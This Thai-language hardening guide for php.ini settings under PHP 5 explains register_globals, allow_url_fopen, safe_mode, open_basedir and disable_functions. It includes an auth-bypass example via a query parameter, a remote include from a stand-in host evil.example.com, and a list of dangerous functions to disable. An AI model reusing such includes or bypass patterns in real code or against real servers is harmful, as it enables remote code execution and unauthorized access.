php ini recommend settings[by SamYuranun]
ค่าที่จะ settings ใน php.ini ที่กล่าวถึงต่อไป จะอ้างจาก PHP 5 เป็นหลัก ซึ่งคิดว่าในหลายๆ ค่าน่าจะนำไปใช้กับ PHP 4 ได้ด้วย โดยในการ set แต่ละค่านั้นจะมีบอกว่าจะช่วยในเรื่องใด และก็การ set ค่าเหล่านี้อาจทำให้ web application บางตัวไม่สามารถทำงาน ดังนั้น ในบางค่าอาจต้องมีการแก้ไข ขึ้นอยู่กับ application ของคุณ
- register_globals = Off [Security, Performance]
ค่านี้เป็นตัวกำหนดว่าจะมีการ register ตัวแปร EGPCS (Environment, GET, POST, Cookie, Server) เป็นตัวแปร global หรือไม่ ซึ่งเมื่อ set ค่านี้เป็น Off ทำให้การเรียกใช้ตัวแปรโดยตรงเช่น $foo ก็ต้องเปลี่ยนเป็น $_REQUEST['foo'] (แบบนี้ไม่แนะนำ) หรือระบุที่มาของตัวแปรคือใช้ $_GET['foo'], $_POST['foo'], $_COOKIE['foo'] หรือ $_FILES['foo'] ขึ้นอยู่กับที่มาของตัวแปร
นอกจากนี้เมื่อ register_globals เป็น On อาจจะทำให้เกิดปัญหาเรื่อง security เช่น code ต่อไปนี้
โค๊ด: Select | Copy
<?php
if (authenticated_user()) $authorized = true;
if ($authorized) include "highly/sensitive/data.php";
?>
จะเห็นว่าถ้าตัวแปร $authorized ถูก set เป็น true ก็จะสามารถเข้าถึงข้อมูลที่สำคัญได้ แต่เมื่อ register_globals เป็น On ทำให้เมื่อ user request ด้วย auth.php?authorized=1 จะทำให้ตัวแปร $authorized เป็น true โดยไม่จำเป็นต้องผ่าน authenticated_user()
หมายเหตุ: defualt ของ PHP >= 4.2.0 และ >= 5.1.? จะ set ค่านี้เป็นเป็น Off และใน PHP 6 จะไม่มี directive ตัวนี้
- register_long_arrays = Off [Performance]
เป็นการ disable การ register ของตัวแปรประเภท $HTTP_*_VARS ซึ่งตัวแปรประเภทนี้ deprecated ไปแล้ว
- register_argc_argv = Off [Performance]
เป็นการ disable การ register ตัวแปร $argv และ $argc
- auto_globals_jit = On [Performance]
เมื่อค่านี้ set เป็น On จะทำให้ตัวแปร SERVER และ ENV จะสร้างเมื่อมีการเรียกใช้ครั้งแรก (Just In Time) แทนการสร้างตั้งแต่เริ่ม execute script
หมายเหตุ: auto_globals_jit จะมีผลเมื่อ register_globals, register_long_arrays และ register_argc_argv ถูก set เป็น Off
- output_buffering = 4096 [Performance]
การ Enable output buffering โดยทั่วไปจะทำให้มีการเขียนข้อมูลน้อยลง และในบางครั้งทำให้มีการส่งจำนวน packet น้อยลงด้วย ส่งผลให้ performance ที่ดีขึ้น ซึ่ง performance ที่ได้จะขึ้นอยู่กับชนิดของ Web server และก็ script ที่เขียน
- magic_quotes_gpc = Off [Performance, Security?]
เมื่อค่านี้ Set เป็น On php จะทำการ escape single-quote, double-quote, backslash และ NULL ด้วย backslash กับทุก input แต่เนื่องจากมีเฉพาะข้อมูลบางตัวเท่านั้นที่จำเป็นต้องมีการ escape และยิ่งไปกว่านั้นบางข้อมูลต้องการใช้โดยที่ไม่มีการ escape ก็ต้องเรียกใช้ stripslashes() เพื่อเอา backslash ออก ทำให้ performance ของ application นี้ลดลงเมื่อ Enable feature นี้
นอกจากนี้การ Enable magic_quotes_gpc หรือใช้ addslashes() ไม่ได้ทำการ escape ที่เป็น escape characters ทั้งหมดของ database ซึ่งเป็นการทำ filter หรือ escape input ที่ไม่ดีพอ ทำให้อาจมีปัญหาเรื่อง security ได้ สำหรับปัญหานี้ได้มีการแนะนำให้ใช้วิธีอื่นๆ เช่น PDO หรือ mysql_real_escapte_string() เป็นต้น
- display_errors = Off [Security]
- log_errors = On [Security]
เมื่อ set display_errors เป็น Off จะทำให้ error ต่างๆ ที่เกิดจาก php จะไม่แสดงให้กับผู้ใช้ เพื่อที่จะปกปิดข้อมูลที่สำคัญอาจจะอยู่ใน error message เช่นชนิดของ database, ชื่อตัวแปร เป็นต้น และควรจะ set log_errors เป็น On เพื่อที่จะเก็บ error ที่เกิดขึ้นลงไฟล์แทน โดยค่านี้แนะนำบนเครื่อง production
- error_reporting = E_ALL [Code Cleanliness, Security?]
โดยปกติแล้ว php จะไม่แสดง error ชนิด E_NOTICE ซึ่ง error ชนิดนี้จะมีประโยชน์ต่อ developer เช่นการมีการเตือนเมื่อมีการใช้ตัวแปรที่ไม่มี initial ค่า เป็นต้น ในบางเอกสารได้มีการแนะนำให้ set ค่านี้ขั้นต่ำเป็น E_ALL เนื่องจากปัญหา security ส่วนมากมาจากการใช้ตัวแปรที่ไม่มีการ initial ค่า หรือการ programming ที่ไม่ได้ระมัดระวัง
- allow_url_fopen = Off [Security]
เมื่อมีการ Enable allow_url_fopen จะทำให้โปรแกรมสามารถอ้างถึง remote resource ได้โดยทำเสมือนว่าเป็นไฟล์ในเครื่อง ซึ่งอาจทำให้ server execute malicious code ดังตัวอย่างนี้
โค๊ด: Select | Copy
<? include 'http://evil.example.com/evil.inc.php'; ?>
- expose_php = Off [Security?]
ค่านี้จะเป็นตัวกำหนดว่า จะให้แสดง header X-Powered-By: PHP... หรือไม่ การ disable ค่านี้เป็นการซ่อนว่า server ใช้ PHP ซึ่งเมื่อ disable ค่านี้ ควรจะแก้ PHP extensions ใน httpd.conf (ในกรณีใช้ apache) เช่น
โค๊ด: Select | Copy
# Make all PHP code look like HTML
AddType application/x-httpd-php .htm .html
- file_uploads = Off|On [Security]
ค่านี้ใช้กำหนดว่าจะให้มีการ upload file เข้ามาไว้ที่ web server ของเราหรือไม่ ซึ่งถ้า web application ไม่ได้มีการใช้ feature นี้ ก็ควรที่จะปิด เพื่อที่จะป้องกันผู้บุกรุกที่พยายาม upload malicious code ด้วย PHP ไม่ว่าด้วยวิธีการใดๆ ก็ตาม
- enable_dl = Off [Security]
ค่านี้เป็นตัวกำหนดว่า function dl() สามารถใช้ได้หรือไม่ โดย dl() นี้ใช้เพื่อที่จะ load พวก shared module (.so ใน Linux/Unix) หรือ dynamic library (.dll ใน Windows) ที่เป็น php extension ใน application
หมายเหตุ: function dl() นี้สามารถที่จะใช้เพื่อที่จะหลบข้อจำกัดจาก open_basedir ได้ แต่ถ้ามีการ enable safe_mode จะทำให้ function dl() ไม่สามารถโดน disable โดยอัตโนมัติ
- safe_mode = On [Security]
เมื่อมีการ enable ค่านี้ PHP จะทำการตรวจสอบก่อนว่าไฟล์ที่จะถูกอ่านต้องมี owner เดียวกับ script ที่กำลังรันอยู่ เช่นหน้า bad.php กำลังสั่ง fopen('secretOfOther') ก็จะไม่สามารถเปิดไฟล์นี้ได้ เนื่องจาก owner ของไฟล์ bad.php และไฟล์ secretOfOther ไม่เหมือนกัน
จะเห็นว่า directive มีประโยชน์มากโดยเฉพาะ host ที่มีหลาย user แต่เนื่องจากจริงๆ แล้ว feature นี้ไม่สามารถป้องกันได้จริง เช่นการใช้ shell script หรือ perl เพื่อเปิดไฟล์ของคนอื่นแทนการใช้ PHP (รายละเอียดเพิ่มเติมดูได้ที่ http://php.net/features.safe-mode) ทำให้การ enable ค่านี้จึงเป็นเหมือนเพิ่มสิ่งกีดขวางกับผู้บุกรุก ซึ่งนับเป็นการทำ Defense in Depth
หมายเหตุ: มีค่าอื่นที่เกี่ยวข้องกับ safe_mode เช่น safe_mode_gid, safe_mode_exec_dir เป็นต้น แต่เนื่องจากเหตุผลข้างบน และใน PHP 6 จะไม่มี directive นี้ จึงไม่ขอกล่าวถึง
- open_basedir = /path/to [Security]
ค่านี้ใช้กำหนด directory และ file ที่สามารถเปิดได้โดย PHP การกำหนดค่านี้ให้เฉพาะ directory หรือ file ที่ PHP application ต้องการใช้เท่านั้นจะช่วยลดโอกาสการโจมตีได้หลายอย่าง เช่นการเปิดไฟล์ /etc/passwd เป็นต้น
- disable_functions = <function1>, ... [Security]
ค่านี้ค่อนข้างตรงตัวคือการ disable function ต่างๆ ของ php โดย function ต่อไปนี้คือ function ที่ควรจะตรวจสอบดูว่ามีการใช้งานหรือไม่ (รวบรวมจากหลายที่)
shell_exec, exec, system, passthru, proc_open, popen, phpinfo, show_source, highlight_file, file, file_get_contents, readfile, fopen, eval
จะเห็นว่าค่าต่างๆ ที่มีในนี้ส่วนมากจะเกี่ยวกับ Security แต่อย่าคิดว่าการ set ค่าตามนี้แล้ว Web server/Web application ของคุณจะปลอดภัย เพราะนี้เป็นเพียงแค่ส่วนของ PHP อย่างเดียว มันยังมีส่วนการ config ตัว web server เอง การเขียน code อย่างปลอดภัยอีก รวมถึงการใช้งานของ admin เองด้วย
สุดท้าย ต้องยอมรับว่าเขียนแล้วอธิบายไม่ละเอียดเลย เพราะมันควรจะมีตัวอย่าง แต่ถ้าเพิ่มแล้วกลัวมันจะยาวเหยียดเลย ผมเขียนไม่ไหว
[by SamYuranun]CS.SIAM.EDU